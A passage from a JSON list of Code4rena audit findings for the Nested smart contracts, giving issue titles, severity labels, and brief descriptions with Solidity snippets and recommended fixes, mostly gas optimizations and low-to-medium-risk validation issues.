reserve", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/223", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "NestedFactory._decreaseHoldingAmount needs explicit amount control for spending reserve"}, {"title": "NestedFactory.removeOperator code doesn't correspond to it's logic", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/220", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-nested-findings", "body": "NestedFactory.removeOperator code doesn't correspond to it's logic"}, {"title": "Ensure on-chain that cache is synced", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/217", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-nested-findings", "body": "Ensure on-chain that cache is synced"}, {"title": "mintWithMetadata onlyFactory ", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/213", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function \"mintWithMetadata\" does not need onlyFactory modifier as it will be checked in function \"mint\" later. "}, {"title": "OperatorResolver.areAddressesImported doesn't check lengths of argument arrays", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/210", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle hyh # Vulnerability details ## Impact Array bounds check violation will happen if the function be called with arrays of different lengths. ## Proof of Concept Loop is performed by names array, while both arrays are accessed: ``` for (uint256 i = 0; i < names.length; i++) { if (operators[names[i]] != destinations[i]) { ``` https://github.com/code-423n4/2021-11-nested/blob/main/contracts/OperatorResolver.sol#L27 ## Recommended Mitigation Steps Add a check: ``` require(names.length == destinations.length, \"OperatorResolver::areAddressesImported: Input lengths must match\"); ``` "}, {"title": "_burnNST", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/208", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle pauliax # Vulnerability details ## Impact I think it is not necessary to have function _burnNST as a separate private function. It is called only once and has just one LOC so it just incurs in extra gas cost which can be avoided by moving this line to function trigger and getting rid of _burnNST. "}, {"title": "index + 1 can be simplified", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/207", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle pauliax # Vulnerability details ## Impact This can be simplified to reduce gas costs by eliminating math operation: ```solidity // before require(_accountIndex + 1 <= shareholders.length, \"FeeSplitter: INVALID_ACCOUNT_INDEX\"); // after require(_accountIndex < shareholders.length, \"FeeSplitter: INVALID_ACCOUNT_INDEX\"); ``` "}, {"title": "INestedToken interface", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/206", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle pauliax # Vulnerability details ## Impact INestedToken is declared as an abstract contract, yet it contains no function bodies and is located under the interfaces directory, so I think it should be declared as an interface. ## Recommended Mitigation Steps Consider making INestedToken an interface. "}, {"title": "NestedAsset.setFactory should be named addFactory", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/204", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle hyh # Vulnerability details ```setFactory``` should be named ```addFactory``` as it doesn't set the only factory, but adds to the list of factories https://github.com/code-423n4/2021-11-nested/blob/main/contracts/NestedAsset.sol#L133 "}, {"title": "Can't revoke factory in NestedRecrods", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/203", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle pauliax # Vulnerability details ## Impact NestedRecords contains no removeFactory function so there is no way to revoke a factory in case you no longer want to support it. This function is present in NestedAsset contract so I thought you might want to also have it here. ## Recommended Mitigation Steps Consider if you are missing removeFactory or is this an intended functionality. "}, {"title": "NestedFactory.addTokens and withdraw functions require NFT reserve check", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/199", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle hyh # Vulnerability details ## Impact NFT token operations will fail if wrong reserve is used. ## Proof of Concept ```NestedFactory``` ```reserve``` is used in ```addtokens``` and ```withdraw``` function for a given NFT, but the NFT to reserve contract correspondence isn't checked. addtokens: https://github.com/code-423n4/2021-11-nested/blob/main/contracts/NestedFactory.sol#L119 withdraw: https://github.com/code-423n4/2021-11-nested/blob/main/contracts/NestedFactory.sol#L241 ## Recommended Mitigation Steps Add the ```require(nestedRecords.getAssetReserve(_nftId) == address(reserve), \"...\")``` check in the beginning of the functions. "}, {"title": "Check condition before calling NestedFactory._handleUnderSpending", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/198", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle hyh # Vulnerability details ## Impact Whenever condition of the ```_handleUnderSpending``` function fails function call gas costs are wasted. The cost of checking the condition is paid anyway, while when it doesn't hold the function call costs are avoidable. ## Proof of Concept ```_handleUnderSpending``` checks for ```_amountToSpent - _amountSpent > 0```. https://github.com/code-423n4/2021-11-nested/blob/main/contracts/NestedFactory.sol#L481 ## Recommended Mitigation Steps When the check condition is false ```_handleUnderSpending``` shouldn't be called and this way the check with corresponding variables to be placed in caller functions: _submitInOrders https://github.com/code-423n4/2021-11-nested/blob/main/contracts/NestedFactory.sol#L306 _safeSubmitOrder https://github.com/code-423n4/2021-11-nested/blob/main/contracts/NestedFactory.sol#L415 "}, {"title": "Unused local variables ", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/195", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-nested-findings", "body": "Unused local variables "}, {"title": "Small refactor for functions to save some gas", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/193", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle 0xngndev # Vulnerability details ## Impact In `FeeSplitter.sol` by doing a small refactory gas can be saved in case of a revert in the functions: `getAmountDue` and `_releaseToken` . We can swap the order of two lines so we return earlier in case of a bad input, this way we save some gas because the evm would execute less opcodes before reverting. ## Mitigation steps getAmountDue: Swap line 83 with 84 to avoid computing unnecessary logic. Remove the \"else\" and combine it with line 83. Something like this: ``` function getAmountDue(address _account, IERC20 _token) public view returns (uint256) { TokenRecords storage _tokenRecords = tokenRecords[address(_token)]; if (_tokenRecords.totalShares == 0) return 0; uint256 totalReceived = _tokenRecords.totalReleased + _token.balanceOf(address(this)); uint256 amountDue = (totalReceived * _tokenRecords.shares[_account]) / _tokenRecords.totalShares - _tokenRecords.released[_account]; return amountDue; } ``` _releaseToken: move line 252 after the require in line 254. Like this: ``` function _releaseToken(address _account, IERC20 _token) private returns (uint256) { uint256 amountToRelease = getAmountDue(_account, _token); require(amountToRelease != 0, \"FeeSplitter: NO_PAYMENT_DUE\"); TokenRecords storage _tokenRecords = tokenRecords[address(_token)]; _tokenRecords.released[_account] = _tokenRecords.released[_account] + amountToRelease; _tokenRecords.totalReleased = _tokenRecords.totalReleased + amountToRelease; return amountToRelease; } ``` "}, {"title": "Unnecessary Use of _msgSender()", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/185", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "Unnecessary Use of _msgSender()"}, {"title": "`_handleUnderSpending` reverts if condition is false", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/183", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle cmichel # Vulnerability details The `NestedFactory._handleUnderSpending` function implements a condition as `_amountToSpent - _amountSpent > 0` instead of `_amountToSpent > _amountSpent`. The former reverts if `_amountSpent > _amountToSpent` while the latter doesn't. It's unclear which behavior is preferred. ## Recommended Mitigation Steps Think about if `_amountSpent > _amountToSpent` should revert or not. If not, the `if` condition can be rewritten as `_amountSpent > _amountToSpent` which would also save gas. "}, {"title": "Function using `msg.value` called in loop", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/182", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "Function using `msg.value` called in loop"}, {"title": "Can add duplicate operators", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/180", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle cmichel # Vulnerability details The `NestedFactory.addOperator` function pushes the `operator` even if it already exists in `operators`. ## Impact When this duplicated operator is removed through a `removeOperator` call, only the first instance is removed. The operator can now still be called which can lead to unexpected behavior. ## Recommended Mitigation Steps Check if the operator already exists before adding it. "}, {"title": "Cannot change `tokenUri`", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/179", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "Cannot change `tokenUri`"}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/178", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "Missing parameter validation"}, {"title": "Cache and read storage variables from the stack can save gas", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/175", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "Cache and read storage variables from the stack can save gas"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/173", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "Adding unchecked directive can save gas"}, {"title": "`NestedFactory#removeOperator()` Avoid empty items can save gas", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-nested-findings", "body": "`NestedFactory#removeOperator()` Avoid empty items can save gas"}, {"title": "Inconsistent use of `_msgSender()`", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/169", "labels": ["bug", "invalid", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "Inconsistent use of `_msgSender()`"}, {"title": "Consider making `_calculateFees` inline to save gas", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/167", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-nested/blob/f646002b692ca5fa3631acfff87dda897541cf41/contracts/NestedFactory.sol#L553-L559 ```solidity=553 /// @dev Calculate the fees for a specific user and amount (1%) /// @param _user The user address /// @param _amount The amount /// @return The fees amount function _calculateFees(address _user, uint256 _amount) private view returns (uint256) { return _amount / 100; } ``` The function `_calculateFees()` is a rather simple function, replacing it with inline expression `_amount / 100` can save some gas. "}, {"title": "Use of assert() instead of require()", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/166", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-nested-findings", "body": "Use of assert() instead of require()"}, {"title": "Avoid unnecessary storage writes can save gas", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/162", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle WatchPug # Vulnerability details `releaseToken()` has `nonReentrant` modifier, making `releaseTokens()` to set storage `_status` multiple times in the for loop. https://github.com/code-423n4/2021-11-nested/blob/f646002b692ca5fa3631acfff87dda897541cf41/contracts/FeeSplitter.sol#L116-L129 ```solidity=116 function releaseToken(IERC20 _token) public nonReentrant { uint256 amount = _releaseToken(_msgSender(), _token); _token.safeTransfer(_msgSender(), amount); emit PaymentReleased(_msgSender(), address(_token), amount); } /// @notice Call releaseToken() for multiple tokens /// @param _tokens ERC20 tokens to release function releaseTokens(IERC20[] memory _tokens) external { for (uint256 i = 0; i < _tokens.length; i++) { releaseToken(_tokens[i]); } } ``` ### Recommendation Change to: ```solidity=116 function releaseToken(IERC20 _token) public nonReentrant { _releaseTokenAndTransfer(_token); } /// @notice Call releaseToken() for multiple tokens /// @param _tokens ERC20 tokens to release function releaseTokens(IERC20[] memory _tokens) external { for (uint256 i = 0; i < _tokens.length; i++) { _releaseTokenAndTransfer(_tokens[i]); } } function _releaseTokenAndTransfer(IERC20 _token) private { uint256 amount = _releaseToken(_msgSender(), _token); _token.safeTransfer(_msgSender(), amount); emit PaymentReleased(_msgSender(), address(_token), amount); } ``` "}, {"title": "Misleading error message", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/161", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Permissions.sol#L80-L86 ```solidity=80 function emergencyWithdrawGAS(address payable destination) external onlyRole(TIMELOCK_ROLE, \"Only timelock can assign roles\") { // Transfers the entire balance of the Gas token to destination destination.call{value: address(this).balance}(''); } ``` The error message \"Only timelock can assign roles\" can be changed to \"Only timelock can emergencyWithdrawGAS\". Other examples include: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Permissions.sol#L104-L110 ```solidity=104 function partialWithdraw(address _token, address destination, uint256 amount) external onlyRole(TIMELOCK_ROLE, \"Only timelock can assign roles\") { ERC20 token = ERC20(_token); token.safeTransfer(destination, amount); } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/PoolTransferVerification.sol#L94-L94 ```solidity=94 require(_pool != address(0), \"Cannot have 0 lookback\"); ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionEscapeHatch.sol#L230-L230 ```solidity=230 require(_period > 0, \"Cannot have 0 lookback period\"); ``` "}, {"title": "`NestedFactory.sol#_submitInOrders()` Wrong implementation cause users to be overcharged", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/160", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "`NestedFactory.sol#_submitInOrders()` Wrong implementation cause users to be overcharged"}, {"title": "Gas Optimization: Set allowance only when needed", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "Gas Optimization: Set allowance only when needed"}, {"title": "Gas Optimization: Pack struct in FeeSplitter.sol", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/146", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "Gas Optimization: Pack struct in FeeSplitter.sol"}, {"title": "isResolverCached() will always return false after removing operator", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/139", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-nested-findings", "body": "isResolverCached() will always return false after removing operator"}, {"title": "FeeSplitter: Unbounded number of shareholders can cause DOS", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/137", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "FeeSplitter: Unbounded number of shareholders can cause DOS"}, {"title": "NestedFactory: Ensure zero msg.value if transferring from user and inputToken is not ETH ", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact A user that mistakenly calls either `create()` or `addToken()` with WETH (or another ERC20) as the input token, but includes native ETH with the function call will have his native ETH permanently locked in the contract. ## Recommended Mitigation Steps It is best to ensure that `msg.value = 0` in `_transferInputTokens()` for the scenario mentioned above. ```jsx } else if (address(_inputToken) == ETH) { ... } else { require(msg.value == 0, \"NestedFactory::_transferInputTokens: ETH sent for non-ETH transfer\"); _inputToken.safeTransferFrom(_msgSender(), address(this), _inputTokenAmount); } ``` "}, {"title": "FeeSplitter: No sanity check to prevent shareholder from being added twice.", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/135", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-nested-findings", "body": "FeeSplitter: No sanity check to prevent shareholder from being added twice."}, {"title": "FeeSplitter: ETH_ADDR isn't supported", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/134", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-11-nested-findings", "body": "FeeSplitter: ETH_ADDR isn't supported"}, {"title": "NestedFactory: _fromReserve param in _submitOutOrders() is redundant", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact `_submitOutOrders()` is invoked by 2 functions `sellTokensToNft()` and `sellTokensToWallet()`, both of which specify the `_fromReserve` parameter to be `true`. This parameter is therefore unneeded. ## Recommended Mitigation Steps ```jsx function _submitOutOrders( uint256 _nftId, IERC20 _outputToken, uint256[] memory _inputTokenAmounts, Order[] calldata _orders, bool _reserved ) private returns (uint256 feesAmount, uint256 amountBought) { ... IERC20 _inputToken = _transferInputTokens( _nftId, IERC20(_orders[i].token), _inputTokenAmounts[i], true ); } ``` "}, {"title": "NestedRecords: createRecord() can have modifier check removed", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/126", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-11-nested-findings", "body": "NestedRecords: createRecord() can have modifier check removed"}, {"title": "NestedRecords: createRecord()'s isActive check is redundant", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/125", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-nested-findings", "body": "NestedRecords: createRecord()'s isActive check is redundant"}, {"title": "NestedRecords: createRecord() can be made internal", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact `createRecord()` is only invoked by `store()`. Its visibility can therefore be made internal / private. ## Recommended Mitigation Steps ```jsx function createRecord( uint256 _nftId, address _token, uint256 _amount, address _reserve ) internal onlyFactory {...} ``` "}, {"title": "NestedReserve: Redundant valid token address checks", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact The `transferFromFactory()` function is missing the `valid(address(_token))` modifier that is present in the `transfer()` and `withdraw()` functions. It is in our opinion that these sanity checks on the token address are redundant, because the transaction will revert anyway in the SafeERC20 library. ## Recommended Mitigation Steps Either add in the modifier check for the `transferFromFactory()` function. Alternatively, remove them from all the functions as a gas optimization. "}, {"title": "MixinOperatorResolver: variables are declared multiple times in rebuildCache()", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact The `name` and `destination` local variables in the `rebuildCache` function are declared multiple times within the loop. It'll be cheaper to declare them once outside the loop and reuse the variables inside. ## Recommended Mitigation Steps ```jsx bytes32 name; address destination; // The resolver must call this function whenever it updates its state for (uint256 i = 0; i < requiredAddresses.length; i++) { name = requiredAddresses[i]; // Note: can only be invoked once the resolver has all the targets needed added destination = resolver.getAddress(name); ... } ``` "}, {"title": "NestedRecords: Unnecessary variable in the Holding struct", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact It is unnecessary to store the `token` variable in the `Holding` struct because the token is used as the key to access the `Holding` struct. ## Recommended Mitigation Steps Remove the `token` variable in the `Holding` struct. ```jsx /// @dev Info about assets stored in reserves struct Holding { uint256 amount; bool isActive; } ``` "}, {"title": "OperatorResolver: importOperators() function redeclares local variable multiple times", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact The `importOperators()` declares the `name` and `destination` variables multiple times. It'll be cheaper to declare them once outside the loop and reuse the variables inside. ## Recommended Mitigation Steps ```jsx bytes32 name; address destination; for (uint256 i = 0; i < names.length; i++) { name = names[i]; destination = destinations[i]; operators[name] = destination; emit OperatorImported(name, destination); } ``` "}, {"title": "Add index param to remove in function argument to reduce gas.", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/115", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-11-nested-findings", "body": "Add index param to remove in function argument to reduce gas."}, {"title": "No used library added", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/114", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle xYrYuYx # Vulnerability details ## Impact https://github.com/code-423n4/2021-11-nested/blob/main/contracts/NestedBuybacker.sol#L15 There is only NST.safeTransfer used, and NST is INestedToken interface. SafeERC20 is not used for IERC20 interface. ## Tools Used ## Recommended Mitigation Steps Remove Line 79 "}, {"title": "Add zero-address checkers", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/108", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-nested-findings", "body": "Add zero-address checkers"}, {"title": "Use `calldata` keyword instead of `memory` keyword in function arguments", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle xYrYuYx # Vulnerability details ## Impact `calldata` use less gas than `memory` in function arguments https://github.com/code-423n4/2021-11-nested/blob/main/contracts/FeeSplitter.sol#L124 ## Tools Used Manual ## Recommended Mitigation Steps Use `calldata` keyword in function argument instead of `memory` "}, {"title": "Unused Named Return", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/105", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Removing unused named return variables can reduce gas usage and improve code clarity. ## Proof of Concept Unused named return: https://github.com/code-423n4/2021-11-nested/blob/f646002b692ca5fa3631acfff87dda897541cf41/contracts/NestedFactory.sol#L69 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Remove the unused named return "}, {"title": "Missing input validation on array lengths ", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/103", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact The functions below fail to perform input validation on arrays to verify the lengths match. A mismatch could lead to an exception or undefined behavior. ## Proof of Concept names, destinations https://github.com/code-423n4/2021-11-nested/blob/f646002b692ca5fa3631acfff87dda897541cf41/contracts/OperatorResolver.sol#L27-L39 _inputTokenAmounts, orders https://github.com/code-423n4/2021-11-nested/blob/f646002b692ca5fa3631acfff87dda897541cf41/contracts/NestedFactory.sol#L321-L337 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Add input validation to check that the length of both arrays match. "}, {"title": "Use existing memory version of state variables", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "Use existing memory version of state variables"}, {"title": "transferOwnership should be two step process", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/101", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "transferOwnership should be two step process"}, {"title": "double reading of state variable inside a loop", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/98", "labels": ["bug", "question", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle pants # Vulnerability details MixinOperatorResolver.rebuildCache (addressCache[name]), isResolverCached (addressCache[name]) You can cache the value after the first read into a local variable to save the other SLOAD and also the \"out of bounds\" check. "}, {"title": "reordering struct fields", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle pants # Vulnerability details NestedRecords line 22 - you can save storage by reordering Holding struct fields in the following way: original: struct Holding { address token; uint256 amount; bool isActive; } change to: struct Holding { uint256 amount; address token; bool isActive; } "}, {"title": "DummyRouter.sol .transfer isn't safe", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/92", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "DummyRouter.sol .transfer isn't safe"}, {"title": "WETHMock withdraw function unnecessary safe math", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "WETHMock withdraw function unnecessary safe math"}, {"title": "Missing events on changes", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/84", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle palina # Vulnerability details ## Impact Function performing important changes to contract state should emit events to facilitate monitoring of the protocol operation (e.g., NestedRecords::setReserve(), deleteAsset(), removeNFT()). ## Proof of Concept setReserve(): https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedRecords.sol#L201 deleteAsset(): https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedRecords.sol#L207 removeNFT(): https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedRecords.sol#L221 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider emitting events on the discussed changes. E.g., event ReserveUpdated(address newReserve); ... function setReserve(...) { emit ReserveUpdated(_nextReserve); } "}, {"title": "setReserve() can be front-run", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/82", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-11-nested-findings", "body": "setReserve() can be front-run"}, {"title": "Gas-consuming way to add shareholders", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "Gas-consuming way to add shareholders"}, {"title": "`NestedFactory.unlockTokens` fails to use safe transfer", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/78", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle elprofesor # Vulnerability details ## Impact The use of `_token.transfer()` in `NestedFactory.unlockTokens` may have unintended consequences. ERC20 tokens can implement contra to the EIP20 spec (USDT for instance returns VOID). This may result in tokens that return anything from false to void and these return values would not throw on failure. As a result transfer's in `unlockTokens` may not appropriately throw on failure. ## Proof of Concept https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedFactory.sol#L271-L273 ## Recommended Mitigation Steps We recommend using OpenZeppelin\u2019s SafeERC20 versions with the `safeTransfer` function that handles the return value check as well as non-standard-compliant tokens. "}, {"title": "Unchecked return value in triggerForToken()", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/76", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle palina # Vulnerability details ## Impact The Nestedbuybacker::triggerForToken() function does not check the return value of the `ExchangeHelpers.fillQuote(_sellToken, _swapTarget, _swapCallData);` call, which returns a boolean. Even if the swap in the fillQuote() is not successful and no NST was bought, the function proceeds with the trigger() function execution. trigger() also does not check if the `balance` variable (indicating the amount of NST bought) is positive, although there is (at best) no point in executing the rest of the function if there's no NST in the contract. ## Proof of Concept Unchecked result of the fillQuote() call: https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedBuybacker.sol#L101 Missing validation in trigger(): https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedBuybacker.sol#L108 ## Tools Used Manual analysis ## Recommended Mitigation Steps Add a return value check in the triggerForToken() function: `bool success = ExchangeHelpers.fillQuote(_sellToken, _swapTarget, _swapCallData); require(success);` and/or a `balance` value validation in trigger(): `uint256 balance = NST.balanceOf(address(this)); require(balance > 0);` "}, {"title": "Public functions can be declared external", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle palina # Vulnerability details ## Impact Functions that are only called from outside the contract can be declared external instead of public since they are more gas-efficient. ## Proof of Concept NestedBuybacker::setBurnPart(): https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedBuybacker.sol#L81, MixinOperatorResolver::rebuildCache(): https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/MixinOperatorResolver.sol#L29 ## Tools Used Manual analysis ## Recommended Mitigation Steps Change the 'public' visibility modifier into 'external'. "}, {"title": "Refactor `FeeSplitter::getAmountDue` to save one variable slot", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/68", "labels": ["bug", 